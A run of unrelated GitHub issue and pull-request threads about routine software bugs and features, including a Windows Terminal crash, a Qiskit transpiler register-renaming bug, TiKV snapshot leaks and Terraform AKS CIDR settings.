It is very strange. The mglib, rest_framework and other dependencies are listed as dependencies in papermerge-core's setup.py file.
How did you run that ? From withing docker image ? Manual installation ?

It is very strange. The mglib, rest_framework and other dependencies are listed as dependencies in papermerge-core's setup.py file.
How did you run that ? From withing docker image ? Manual installation ?
I've just checked, when installed in completely new python virtual environment:
$ pip install -r requiments/base.txt

will install all dependencies (base.txt contains only django dependency and papermerge-core).
Maybe you can provide more details about your environment setup: manual installation steps, or how you run docker image...
Wait a second, I see in logs:
/app/papermerge/config/settings/production.py

Is this linuxserver.io docker image ? I am asking, because in official docker image application is installed in /opt/papermerge/...

Yep sorry! This is the ARM docker image provided by linuxserver.io, running on my Raspberry Pi 4.

ah, then this is packaging issue, I mean linuxserver.io docker image issue.
There is very subtle change which I did which I guess might affect there way you need to build a docker image.
I will open a bug on their side and explain issue and what change they need to do in their Dockerfile.
You can close this bug.


Feature/new user tracking

fixes issue #2593
😎

Pass finished. Minor changes and this is good to merge. :fallen_leaf:

Changes made 👍


Run bin/update-data to incorporate 2022 change requests

Details of changes here: https://iso639-3.sil.org/sites/iso639-3/files/reports/639-3_ChangeRequests_2022_Summary.pdf

I emailed the institute about it and would like to wait on their reply before merging the updates.

They resolved the issue and applied the update on their website.


How to create the rule class if create a Module instance need parameters

I'm writing a Robolectric test, I see the Rule creation of the demo is :
  @Rule public final DaggerMockRule<MyComponent> rule = new DaggerMockRule<>(MyComponent.class, new MyModule())
            .set(new DaggerMockRule.ComponentSetter<MyComponent>() {
                @Override public void setComponent(MyComponent component) {
                    ((App) RuntimeEnvironment.application).setComponent(component);
                }
            });

Now if MyModule's constructor need a parameter such as LoginActivity or MyApplication, how do I create the rule class?

If you need the app in a Robolectric test you can use RuntimeEnvironment.application, something similar to this example: https://github.com/fabioCollini/DaggerMock/blob/master/app/src/test/java/it/cosenonjaviste/daggermock/demo/robolectric/MainActivityTest.java
Passing an Activity as parameter is not supported and I am not sure if it can be useful. Usually the module with the activity as parameter is created inside the activity and it contains objects that you want to test (and not to replace with mocks).

Yes, you are right. I'm looking for a elegant way to mock the module which is created inside the activity, if module's constructor requires a activity instance, it looks hard to mock.


Remove extra space after copyright notice

Same deal here, going to merge because I'm the only FTE on this project.


Crash if creating a new tab when the window height is too small

Environment
Windows build number: 10.0.18362.0
Windows Terminal version (if applicable): master

Any other software?

Steps to reproduce

Minimize the height of Terminal.
Create a new tab

Expected behavior
A new tab is created
Actual behavior
Terminal crashes

Details
Terminal crashes with the exception Unhandled exception at 0x00007FF8AB012830 (Windows.UI.Xaml.dll) in WindowsTerminal.exe: 0xC000027B: An application-internal exception has occurred (parameters: 0x0000027E170823C0, 0x0000000000000002).
This should be the actual error.
E:\Code\terminal\src\renderer\dx\DxRenderer.cpp(247)\TerminalControl.dll!00007FF835C818E6: (caller: 00007FF835C7CBCB) ReturnHr(1) tid(2944) 887A0001 The application made a call that is invalid. Either the parameters of the call or the state of some object was incorrect.
Enable the D3D debug layer in order to see details via debug messages.
    [Microsoft::Console::Render::DxEngine::_CreateDeviceResources(_dxgiFactory2->CreateSwapChainForComposition(_d3dDevice.Get(), &SwapChainDesc, nullptr, &_dxgiSwapChain))]

// src\renderer\dx\DxRenderer.cpp(L233-249)
case SwapChainMode::ForComposition:
{
	SwapChainDesc.Width = _displaySizePixels.cx;
	SwapChainDesc.Height = _displaySizePixels.cy;

	// omitted

-->	RETURN_IF_FAILED(_dxgiFactory2->CreateSwapChainForComposition(_d3dDevice.Get(),
																  &SwapChainDesc,
																  nullptr,
																  &_dxgiSwapChain));
	break;
}

Height is 0 which I assume is an invalid parameter.

Yep this is a very real crash that shouldn't happen. Good find!

Tested on current HEAD of master (7621994). It looks like Terminal doesn't crash anymore. The connection on the other side fails to launch and outputs some kind of error like
[error 0x80070057 when launching `C:\Program Files\PowerShell\7\pwsh.exe']
Realistically, we wouldn't be able to start a process that's 100x0 anyways, since windows console applications always have a size. So, as long as the Terminal doesn't crash, this seems like a fair compromise.
Closing unless someone can verify that the crash starts occurring again.


Adding blocks that handle lists, and the text block.

Does not include lists_split, because it requires onchange handlers.

This change is

PTAL @roboerikg

Review status: 0 of 9 files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

Review status: 0 of 9 files reviewed at latest revision, 4 unresolved discussions.

blocklylib-core/src/main/assets/default/list_blocks.json, line 1 at r1 (raw file):

[

No add or remove blocks?

blocklylib-core/src/main/assets/default/list_blocks.json, line 7 at r1 (raw file):

    "output": "Array",
    "colour": 260,
    "tooltip": "Returns a list, of length 0, containing no data records.",

Maybe "Creates a list with nothing in it."? This is kind of difficult to understand if you don't already speak computer.

blocklylib-core/src/main/assets/default/list_blocks.json, line 42 at r1 (raw file):

    "output": 'Number',
    "colour": 260,
    "tooltip": "Returns the length of a list.",

Returns the number of things that are in the list.

blocklylib-core/src/main/assets/default/list_blocks.json, line 242 at r1 (raw file):

    "output": "Array",
    "colour": 260,
    "tooltip": "Sort a copy of a list.",

"Creates a new list with everything sorted from smallest to biggest (ascending) or biggest to smallest (descending)."

Comments from Reviewable

Review status: 0 of 9 files reviewed at latest revision, 4 unresolved discussions.

blocklylib-core/src/main/assets/default/list_blocks.json, line 1 at r1 (raw file):
Previously, RoboErikG wrote…
> No add or remove blocks?

set has an insert mode.
get has a "get and remove" mode.
I know this is not obvious, but this is what the generator supports.

blocklylib-core/src/main/assets/default/list_blocks.json, line 7 at r1 (raw file):
Previously, RoboErikG wrote…
> Maybe "Creates a list with nothing in it."? This is kind of difficult to understand if you don't already speak computer.

Agreed, but I'd rather stay in sync with web blockly, for now.  When we do a full pass on the tooltips, absolutely.

blocklylib-core/src/main/assets/default/list_blocks.json, line 42 at r1 (raw file):
Previously, RoboErikG wrote…
> Returns the number of things that are in the list.

Above.

blocklylib-core/src/main/assets/default/list_blocks.json, line 242 at r1 (raw file):
Previously, RoboErikG wrote…
> "Creates a new list with everything sorted from smallest to biggest (ascending) or biggest to smallest (descending)."

Above.

Comments from Reviewable

Review status: 0 of 9 files reviewed at latest revision, 4 unresolved discussions.

Comments from Reviewable

@anmatanm PTAL at lists_blocks.json. There were some lines with ' instead of ".

Review status: 0 of 9 files reviewed at latest revision, 4 unresolved discussions, all commit checks successful.

Comments from Reviewable


Hyper ingress function

There's an ingress function that successfully reads data from Hyper and writes to our database. There's also beginning s of running that as an Azure function, but I haven't actually written the container or deployed.
This should probably never be merged, as it's just a demonstration rather than part of DTBase. Opening the draft PR just because it's easier to keep track of a PR than a stray branch.

Closing this as no longer relevant. The branch will remain, in case we want to code back to the code.


Build envorinment

May I ask what your build environment is? I want to use a mt7601u wifi stick with my TM02, but the trunk build bricked my device and I had to send it in for a replacement. I think the next best thing to do is to build an image myself with the newer kernel version that supports it, but I have no idea how to do it, and I won't be able to get another replacement if I brick this one.

I’m surprised they will provide a replacement due to users trying to load other than factory firmware. Anyhow, I used exactly the environment from the OpenWRT website for Debian Linux. There is no such thing as bricking one of these things they are always recoverable. If you are building the trunk build it’s nearly always a network configuration issue. If you dont know how to get into it then use the boot monitor to load a new build that has a valid network configuration. Had to do that plenty of times while I was learning about them. Plenty of instructions from the Openwrt and other forums.
Best of luck!

On May 17, 2016, at 4:56 PM, Jacob Schooley<EMAIL_ADDRESS>wrote:
May I ask what your build environment is? I want to use a mt7601u wifi stick with my TM02, but the trunk build bricked my device and I had to send it in for a replacement. I think the next best thing to do is to build an image myself with the newer kernel version that supports it, but I have no idea how to do it, and I won't be able to get another replacement if I brick this one.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub https://github.com/wingspinner/HooToo-Tripmate-HT-TM02-OpenWRT/issues/15

What do you mean by the boot monitor? Is that a piece of software that I can get off the OpenWrt forums somewhere, and do I have to get a serial adapter to use it?
I am 100% certain it was a network config issue but I don't have a serial adapter or any knowledge on how to use one.

On May 18, 2016, at 3:01 PM, Ron Curry<EMAIL_ADDRESS>wrote:
I’m surprised they will provide a replacement due to users trying to load other than factory firmware. Anyhow, I used exactly the environment from the OpenWRT website for Debian Linux. There is no such thing as bricking one of these things they are always recoverable. If you are building the trunk build it’s nearly always a network configuration issue. If you dont know how to get into it then use the boot monitor to load a new build that has a valid network configuration. Had to do that plenty of times while I was learning about them. Plenty of instructions from the Openwrt and other forums.
Best of luck!

On May 17, 2016, at 4:56 PM, Jacob Schooley<EMAIL_ADDRESS>wrote:
May I ask what your build environment is? I want to use a mt7601u wifi stick with my TM02, but the trunk build bricked my device and I had to send it in for a replacement. I think the next best thing to do is to build an image myself with the newer kernel version that supports it, but I have no idea how to do it, and I won't be able to get another replacement if I brick this one.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub https://github.com/wingspinner/HooToo-Tripmate-HT-TM02-OpenWRT/issues/15

—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub


Investigate cron controller panic

Panics result in controller restart and therefore loss of service. We should investigate this.
time="2020-05-02T20:50:00Z" level=info msg="Pod node {canary-glmcm canary-glmcm canary-glmcm Pod whalesay nil   local/canary-glmcm Pending   2020-05-02 20:50:00.553640018 +0000 UTC 0001-01-01 00:00:00 +0000 UTC   <nil> nil nil [] []} initialized Pending" namespace=argo workflow=canary-glmcm
time="2020-05-02T20:50:00Z" level=info msg="Processing argo/canary"
fatal error: concurrent map read and map write
goroutine 86 [running]:
runtime.throw(0x185b3b0, 0x21)
	/usr/local/go/src/runtime/panic.go:774 +0x72 fp=0xc000573ae8 sp=0xc000573ab8 pc=0x42e5d2
runtime.mapaccess2_faststr(0x1614e60, 0xc00043b6b0, 0xc004b2a2c0, 0x3c, 0x1, 0xc0057482a0)
	/usr/local/go/src/runtime/map_faststr.go:116 +0x48f fp=0xc000573b58 sp=0xc000573ae8 pc=0x412cff
github.com/argoproj/argo/workflow/cron.(*Controller).processNextWorkflowItem(0xc0000e2580, 0xc00047fe00)
	/go/src/github.com/argoproj/argo/workflow/cron/controller.go:222 +0x45d fp=0xc000573e38 sp=0xc000573b58 pc=0x14567fd

@simster7 this appears to be in the cron code - would you own the investigate please?

Could you make sure that the branch you're working on has this fix https://github.com/argoproj/argo/pull/2851 in it?

The line in the stack trace:
workflow/cron/controller.go:222

Only points to a relevant line in a version of the file without the fix, leading me to believe you don't have it merged

This is old - so probaly fixed. Thank you.


rocksdb snapshot doesn't released and make space not reclaimed.

Bug Report

What version of TiKV are you using?

v4.0.11
What operating system and CPU are you using?

not related
Steps to reproduce

Can't reproduce
What did you expect?
space is properly reclaimed
What did happened?

rocksdb snapshot is held about 1.2 weeks, which causes region worker won't clean up the data of region when the peer is removed.

there are 8 rocksdb snapshots leaked. And it happens in multiple tikv nodes. There must be something wrong that the rocksdb snapshot release is not properly called or some threads are stuck.

/severity major

Do they use TiCDC?

Do they use TiCDC?

Not sure, but they use BR

Do they use TiCDC?

Confirmed, they don't use TiCDC

It's because TiKV is blocked on uploading SST to S3 for a long time due to external issues (maybe S3 client, maybe nginx). So the snapshot can't be released until the upload is finished.


Supported models

Other than ResNet & SqueezeNet what other models are supported by TuriCreate

@johnyquest7 - I'm not sure I understand your question. Are you asking what pretrained CNN models are supported to use with image classification and image similarity? If so, we currently only support the two models you mention.


Transpilation (level 3 + custom Coupling Map) change my register's name: CircuitError: 'qargs not in this circuit'

Environment

Qiskit Terra version:  0.19.1
Python version: 3.8
Operating system: Ubuntu 18.04.6 LTS

What is happening?
The transpilation pass with optimization level 3 and coupling map passed returns a circuit with a default name "q" for its quantum register, so if I try to add other gates (e.g. measurement) after, it fails with error: ``.
How can we reproduce the issue?
Run this script:
from qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister, transpile
qr = QuantumRegister(3, name='qr')
cr = ClassicalRegister(3, name='cr')
qc = QuantumCircuit(qr, cr, name='qc')
qc.h(0)
print("BEFORE:")
print(qc._qubit_indices.keys())
qc = transpile(qc, optimization_level=3, coupling_map=[[0, 1], [1, 0], [1, 2], [2, 1]])
print("AFTER:")
print(qc._qubit_indices.keys())
qc.draw(fold=-1)

Output
BEFORE:
dict_keys([Qubit(QuantumRegister(3, 'qr'), 0), Qubit(QuantumRegister(3, 'qr'), 1), Qubit(QuantumRegister(3, 'qr'), 2)])
AFTER:
dict_keys([Qubit(QuantumRegister(3, 'q'), 0), Qubit(QuantumRegister(3, 'q'), 1), Qubit(QuantumRegister(3, 'q'), 2)])
          ┌───┐
qr_0 -> 0 ┤ H ├
          └───┘
qr_1 -> 1 ─────

qr_2 -> 2 ─────

    cr: 3/═════

In the output you see that circuit's internal _qubit_indices.keys() has been changed as side effect of the optimization.
In practice if we add a measurement we get the error:  CircuitError: 'qargs not in this circuit'
qc.measure(qr, cr)

Output:
`CircuitError: 'qargs not in this circuit'`

What should happen?
I expect the optimization not to change the name of the registers I use in my circuit as an unwanted side-effect.
Any suggestions?
The culprit might be this pass qiskit.transpiler.passes.layout.apply_layout.ApplyLayout since it changes the internal register name: https://github.com/Qiskit/qiskit-terra/blob/6eb12965fd2ab3e9a6816353467c8e1c4ad2a477/qiskit/transpiler/passes/layout/apply_layout.py#L53
Moreover, if this pass is followed by qiskit.transpiler.passes.layout.enlarge_with_ancilla.EnlargeWithAncilla it seems to restore the original register name.
It is a quite strange behavior, I welcome any additional suggestion. Thanks in advance

It is a slightly strange and non-ideal behaviour, but you almost invariably shouldn't be modifying a circuit after transpilation.  That should be the final step in any processing pipeline - the transpilation is meant to prepare a complete quantum program to run on an actual backend, and any modifications you make to it after that will invalidate the operation.
Think of it like trying to modify the executable of a program written in C after you compile it.

@jakelishman thanks for commenting.
Indeed, my use of the API can be considered a bit borderline. Anyway, have you already considered in the past to use an immutable version of the QuantumCircuit after the transpilation so to enforce this rule (aka don't use the circuit after transpilation) if that is the intended behavior?


figured out how to center the logo even when you resize the browser window

Ignore travis, the build is failing for some weird reasons right now but it looks good.
🔥


Allow setting default_branch on create.

It appears in the code that you can't set default_branch on create; a sad limitation of the create API on GitHub it would seem.
Is there any reason why resourceGithubRepositoryUpdate couldn't be called from resourceGithubRepositoryCreate only in the case that default_branch is set to something other than master?

Hey @joestump, thanks for the issue!
The primary reason that you cannot set the default_branch during a repository Create, is purely a limitation of git and not GitHub. The target reference to the new default_branch needs to be created prior to GitHub recognizing that the branch even exists in order to use that as the new default branch.
In order to do this during a "create" of the repository, a user would have to:

Create the repository via Terraform
Using a local-exec provisioner:

Clone the new repository
Create the new ref for the new target GitHub branch
Push the new ref

Update the GitHub repository with the new default_branch

The GitHub API also limits specifying the default_branch on Create for this specific reason as well. Due to the complexity of changes required to be able to "set" the default_branch during a single "Create", I opted to only allow users to set the default_branch once the repository has already been created. We could definitely call Update from the Create method, but the necessary reference to the new git branch wouldn't exist, and the Terraform run would fail every time during Create. Causing the user to perform the previously listed manual steps, then re-run Terraform to achieve the proper result. IMO it was a much nicer user experience to not error out on every repository Create, by simply preventing the population of that attribute until the repository had already been created.
Hope this helps clear things up, and happy to discuss further if needed! For now, going to close this issue though.


[Blazor Preview 6] Possibly leaking memory during intensive javascript interop?

While exploring animating a canvas object using Blazor, I noticed that the mono runtime is spitting out updates, even when there should be no allocation happening.
I've tried to strip the problem down minimally here:
https://github.com/kiyote/Station
Every 10 seconds or so I'm seeing these sorts of things being posted:
WASM: GC_MINOR: (Nursery full) time 0.35ms, stw 0.38ms promoted 0K major size: 880K in use: 168K los size: 1024K in use: 16K
The "in use" value for "major size" goes up by 4-5K every time it posts.
tl;dr - Using requestAnimationFrame and calling back in to Blazor extremely frequently seems to leak memory?

Thanks for contacting us, @kiyote.
@rynowak, @SteveSandersonMS can one of you look into this? Thanks!

WASM: GC_MINOR: (Nursery full) time 0.35ms

It doesn't mean a memory leak. It just mean the GC ran.
If you can observe the browser's memory use growing in an unbounded way (like, can you get it to grow by hundreds of MB?) then you have a memory leak. In that case please let us know, with repro steps. Thanks!


Create a stub pFlogger library and an option to use it

NOAA wishes to avoid a dependency on pFlogger.    The idea is to instead have a subdirectory of MAPL that builds a stub version of pFlogger and then also have a CMake switch that controls whether to add that subdirectory.
The following types must be defined: Logger, LoggerManager
Logger needs these methods:

debug()
info()
warn()
error()
critical()
The hard part with these is that they have up to 9 optional arguments of class(*).

LoggerManager needs just get_logger().
Initialization uses additional entities from pFlogger, but for starters those can be handled with a #ifdef.
On the CMake side, a new OPTION is needed:  USE_PFLOGGER which defaults to ON.   Then the cmake in MAPL/base should add a compile definition for ApplicatioSupport.F90  -DUSE_PFLOGGER which will be used to mask out the initialization logic.
I'm sure I'm forgetting things, so just update the ticket as issues come up.

Adding @rmontuoro for situational awareness.


Update Pipeline Server (if needed) to deploy against RHOAI 2.13

Working on it on fix/2.13-automated-project


Pagination: Ellipses in pager should navigate to the page preceding/following the displayed range.

Unless I'm mistaken, the ellipses generated by dir-paginate don't do anything. It would be handy if the out-of-the-box behavior was for those to navigate to the page immediately preceding/following the displayed range.
Example: In the screenshot below, the left ellipsis would navigate to page 6, and the right ellipsis would navigate to page 11.

Yes, you're right that they don't currently do anything.
And I also agree that it would be better if they did behave as you describe. I think it should be simple to do this so I'll have a go at implementing it now.


Merged UserConversation into Conversation

Connects SkygearIO/chat/#102

@howawong, thanks for your PR! By analyzing the history of the files in this pull request, we identified @ben181231 to be a potential reviewer.


Implement Client::WriteObject().

This fixes #557. It implements the API, a unit test, an integration
test, and the sample.

PTAL.


Node not found on path when vscode launched from task bar -> Recent Workspaces

VSCode Version: Code 1.17.2 (b813d12980308015bcd2b3a2f6efa5c810c33ba5, 2017-10-16T13:59:46.104Z)
OS Version: Windows_NT x64 10.0.15063
Extensions:

Extension
Author (truncated)
Version

jslint
ajh
1.2.1

csharp
ms-
1.12.1

Steps to Reproduce:

Launch VSCode by clicking on one of the 'Recent Workspaces' displayed when right-clicking on the VSCode shortcut pinned on the taskbar - see attachment 1.png
If the Workspace opened is a Node.js application, trying to run it will produce an error - see attachment 2.png
Close the error message
Trying to run (F5) the Node.js application will show another error - see attachment 3.png
Close the error message
Switch to the integrated terminal and type "node --version" - a message is being displayed saying that "node : The term 'node' is not recognized as the name of a cmdlet..." - see attachment 4.png
Open a command prompt outside of VSCode, type node --version, and observe that the correct version is displayed - see attachment 5.png

Please note that if the same Workspace is opened by first launching VSCode and then opening the folder, everything works as expected.

Reproduces without extensions: Yes/No

Try to reproduce it without extension, for that run VS Code with the --disable-extensions parameter.

Cannot repro when extensions are disabled. I opened VSCode from command prompt using "code --disable-extensions", then opened a node.js folder. Using this sequence the problem does not occur, even when extensions are loaded.
Note that the problem I reported happens when opening via a Recent Workspace shortcut. I don't know how to open a Recent Workspace with the extensions disabled.

How did you install Node JS?

I installed node by running the install available at nodejs.org. Yes, node.js is in %PATH%. Even when loading a folder in VSCode from a "Recent Workspaces" shortcut, when VSCode is not finding node, I can go to the command prompt, type 'node --version' and the command is recognized, the version of node gets printed out.
Can you repro the problem? Are there any logs you want me to provide?

I can't repro the problem. There are no logs unfortunately.
If you open the Developer Tools in Code, in the Console what does process.env.PATH return?

It returns the correct %PATH% system variable.
I cannot repro the problem anymore. Don't know what happened, I did not update VSCode or any of the node packages I was using.

Great to know.


using stylus pen for annotation

My actions before raising this issue

[x] Read/searched the docs
[x] Searched past issues

Steps to Reproduce (for bugs)
connect your machine to a painting tablet or use a touchscreen.
try using the brush tool to paint masks
Expected Behaviour
moving the stylus over the screen will leave marks when using the brush tool.
Current Behaviour
CVAT wont respond to the touch of the pen. it does work with polygon mask marking but not the brush.
the curser runs according to the stylus but doesn't leave any marks.
I did manage to use several drawing tablet when activating 'disable windows ink'.
Possible Solution
windows ink compatibility will be nice (no need to be sensitive to intensity).
or any other solution.
Context
using stylus to paint the masks makes the annotation process much faster.  I believe it is a very valuable feature.
Your Environment
Server version: 2.5
Core version: 9.1.3
Canvas version: 2.16.7
UI version: 1.51.2
Docker version : 4.20.1
Operating System and version (e.g. Linux, Windows, MacOS): win11 with WSL2 running Ubunto
this are the settings that work for GAOMON drawing tablet:

tried superdisplay app on samsung tablet / using touch screen - both didn't work.

Hi @KanielDatz
CVAT does not support touchscreens and mobile devices to annotate.

In general it is duplicate for #3744


Supports for documents upload and searching. Contextual based convers…

Supports for documents upload and searching. Contextual based conversation with AI.
The new PR (a) cleaned out irrelevant changs. (b) allowed an option to disable contexts in chat.

When will this be included in the official release? 👍


feat: (IAC-651) add ability to set pod_cidr and service_cidr while using kubenet

Hello Team,
I am looking for the ability to set aks_pod_cidr and aks_service_cidr and not use the default settings while using the kubenet network_plugin setting. However, it appears that these are hardcoded when using the kubenet setting.
What I have done is:

Change service_cidr, dns_service_ip, and docker_bridge_cidr (for consistency) to use the aks_* version of the variable, regardless of the network_plugin setting.
Since pod_cidr is not able to be used with other network_plugin settings like azure, it is set to use the aks_pod_cidr when it is on kubenet, or is set to null if not.

If you have any questions or want any changes, please tag me and let me know.

FYI @thpang, I have updated this PR to have validation in both variables.tf files (the main and the azure_aks module). I am not sure which one (or both) you want to validate it in.
Also, I have done some initial testing and everything looks good to me.

In general is there a reason on the conditional elements you have null as a value? When in a conditional I would expect either true or false. This applies to all items in this PR.

Not a reason besides that is what I found in the examples I saw. I am fairly new to terraform, so if changing those to false would be a cleaner example and fit into the style guides, then I am good with changing them.

@stturc if you can adjust the null values I mentioned and assign those their more logical value. I'll review this PR again. Thx.

@stturc any progress on the changes requested? Looking to approve this PR. Thx

@stturc the null value issue and default values for your validation blocks needs to be addressed. Thx in advance.

@stturc this is a good fix; however, you've not updated the values. Plans on when you'll get to this?

Apologies for the delay. I have updated the PR now, please take a look when you get a chance.
From: Thomas S. Pangborn @.>
Date: Tuesday, September 27, 2022 at 4:09 PM
To: sassoftware/viya4-iac-azure @.>
Cc: Stephen Turcol @.>, Mention @.>
Subject: Re: [sassoftware/viya4-iac-azure] feat: (IAC-651) add ability to set pod_cidr and service_cidr while using kubenet (PR #246)
EXTERNAL
@stturchttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fstturc&data=05|01|stephen.turcol%40sas.com|7702c208c6e446b8ffe308daa0c4300f|b1c14d5c362545b3a4309552373a0c2f|0|0|637999061753547761|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=OMkTLCNuVnQ2lZUiPObD1zRMBHhgUNtE%2FF2CVNnVOhE%3D&reserved=0 this is a good fix; however, you've not updated the values. Plans on when you'll get to this?
—
Reply to this email directly, view it on GitHubhttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fsassoftware%2Fviya4-iac-azure%2Fpull%2F246%23issuecomment-1259993453&data=05|01|stephen.turcol%40sas.com|7702c208c6e446b8ffe308daa0c4300f|b1c14d5c362545b3a4309552373a0c2f|0|0|637999061753547761|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=1d%2BaK5PIoiQW%2FP9mV4MMHqirF8WEupaJSAg4%2BUWTXm4%3D&reserved=0, or unsubscribehttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAZXUBE4CU2ECB2AIHX53WZDWANH7VANCNFSM53T3VQ7Q&data=05|01|stephen.turcol%40sas.com|7702c208c6e446b8ffe308daa0c4300f|b1c14d5c362545b3a4309552373a0c2f|0|0|637999061753547761|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=VmMN2w9MhDXZkyY1EW8hZlKG5Sagwc9wwQYxngPeyBc%3D&reserved=0.
You are receiving this because you were mentioned.Message ID: @.***>

Apologies for the delay. I have updated the PR now, please take a look when you get a chance.

Let me know if you don't want to use the can(cidrnetmask) for empty strings and i'll make the changes for everything except the pod_cidr, which I think needs to stay the way it is.

@thpang  Let me know if you don't want to use the can(cidrnetmask) for empty strings and i'll make the changes for everything except the pod_cidr, which I think needs to stay the way it is.

@thpang are you good with the changes? Checking as there are few unresolved conversations.

@stturc, I was trying to test the changes in this PR, however the upstream staging branch has updated a few times now and the changes in your branch support_cidr_changes are stale. Could you please sync your forked branch with the upstream repository?

@riragh I have updated this one with the current main branch. Hopefully it is mergable now.

Using the updated code, verified following test scenarios, see the internal ticket for details:

Scenario
Task
Cadence
kubernetes_version
Orchestration

1
No values are set and the default pod and service cidrs are created and functioning
fast:2020
1.23
Deployment Operator

2
Set the pod_cidr, use the default service_cidr and all pods/services start and function
fast:2020
1.24
Deployment Operator

3
Set the service_cidr, use the default pod_cidr and all pods/services start and function
Stable 2023.02
1.24
Deploy Command

3
Set both the pod/service ciders and all pods/services start and function
fast:2020
1.25
Deployment Operator

Hold off merging this branch until next upcoming release.


Improve Travis CI build Performance

Does travis_retry really solve the build issues? According to the data in paper An empirical study of the long duration of continuous integration builds, travis_retry can only solve 3% of the build failures. And it may cause unstable build and increase build time.
=====================
If there are any inappropriate modifications in this PR, please give me a reply and I will change them.

Coverage increased (+0.2%) to 54.149% when pulling 2dbad808f37c5255407cee865c4cb3f4a428d7f9 on YunLemon:Modify_Travis_1 into a20f31bb3de242756542c552d7212a7a40000ba4 on apache:master.

Codecov Report

Merging #3273 (2dbad80) into master (a20f31b) will increase coverage by 0.01%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master    #3273      +/-   ##
============================================
+ Coverage     47.72%   47.74%   +0.01%
- Complexity     4544     4545       +1
============================================
  Files           552      552
  Lines         36628    36628
  Branches       4844     4844
============================================
+ Hits          17482    17487       +5
+ Misses        16917    16905      -12
- Partials       2229     2236       +7

Impacted Files
Coverage Δ

...tmq/logappender/log4j2/RocketmqLog4j2Appender.java
35.00% <0.00%> (-10.00%)
:arrow_down:

...org/apache/rocketmq/common/stats/StatsItemSet.java
41.79% <0.00%> (-8.96%)
:arrow_down:

...ache/rocketmq/common/stats/MomentStatsItemSet.java
39.13% <0.00%> (-4.35%)
:arrow_down:

...ava/org/apache/rocketmq/test/util/VerifyUtils.java
46.26% <0.00%> (-2.99%)
:arrow_down:

...ava/org/apache/rocketmq/filter/util/BitsArray.java
59.82% <0.00%> (-2.57%)
:arrow_down:

...he/rocketmq/remoting/protocol/RemotingCommand.java
78.22% <0.00%> (-0.41%)
:arrow_down:

.../apache/rocketmq/logging/inner/LoggingBuilder.java
63.76% <0.00%> (-0.16%)
:arrow_down:

...main/java/org/apache/rocketmq/store/CommitLog.java
66.32% <0.00%> (-0.11%)
:arrow_down:

...a/org/apache/rocketmq/store/StoreStatsService.java
30.16% <0.00%> (ø)

...ent/impl/consumer/DefaultLitePullConsumerImpl.java
68.84% <0.00%> (+0.17%)
:arrow_up:

... and 8 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a20f31b...2dbad80. Read the comment docs.


Fix: Repair script for getting root key

Description
The root key script was broken with https://github.com/sse-secure-systems/connaisseur/pull/873 due to a new argument added to an internal function, which the root key script uses. This commit adds that missing argument to the call inside the root key script
Checklist

[x] PR is rebased to/aimed at branch develop
[x] PR follows Contributing Guide
[x] Added tests (if necessary)
[x] Extended README/Documentation (if necessary)
[x] Adjusted versions of image and Helm chart in values.yaml and Chart.yaml (if necessary)

Codecov Report
Base: 93.52% // Head: 97.13% // Increases project coverage by +3.60% :tada:

Coverage data is based on head (e528c67) compared to base (165f518).
Patch coverage: 97.50% of modified lines in pull request are covered.

:exclamation: Current head e528c67 differs from pull request most recent head 5e2561b. Consider uploading reports for the commit 5e2561b to get more accurate results

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@             Coverage Diff             @@
##           develop     #890      +/-   ##
===========================================
+ Coverage    93.52%   97.13%   +3.60%
===========================================
  Files           15       23       +8
  Lines          633     1290     +657
===========================================
+ Hits           592     1253     +661
+ Misses          41       37       -4

Impacted Files
Coverage Δ

connaisseur/__main__.py
0.00% <0.00%> (ø)

connaisseur/kube_api.py
87.50% <75.00%> (ø)

...naisseur/validators/notaryv2/notaryv2_validator.py
80.00% <80.00%> (ø)

connaisseur/validators/static/static_validator.py
93.75% <93.75%> (ø)

connaisseur/util.py
95.45% <95.45%> (-4.55%)
:arrow_down:

connaisseur/logging_wrapper.py
96.15% <96.15%> (ø)

connaisseur/flask_application.py
96.49% <96.49%> (ø)

connaisseur/config.py
97.29% <97.29%> (ø)

connaisseur/alert.py
97.39% <97.39%> (ø)

connaisseur/validators/notaryv1/notary.py
98.30% <98.30%> (ø)

... and 13 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Required password when moving/copying downloaded videos

Hello,
When I use youtube-dl I always have to add sudo so I can update it (-U) for some reason. That being said I this may have something to do with my issue.
My issue is, whenever I have to move or delete videos I downloaded, I have to enter my Mac's password just like I do with sudo. Copying doesn't trigger this behavior however copied videos will need a password as well for moving/deleting them.
Any idea why? Is my issue connected to the observation I mentioned earlier?
Thanks

You don't need to use sudo with youtube-dl apart from updating in the first place.


Show Python version of venvs with "pipx list"

It would be nice if "pipx list" could show the Python version of the associated venv to see at one glance  which application uses which python version.

I really like this idea. I'll add it in a future version.

This has been added in <IP_ADDRESS>.


System allows to import own Packages.

Describe the bug
Allows to Import package which is created by me or by my company.

Server side done, still we need to show package in display list


simplify with pattern matching, decouple the handle_events (component…

… flow) from the actual event processing.

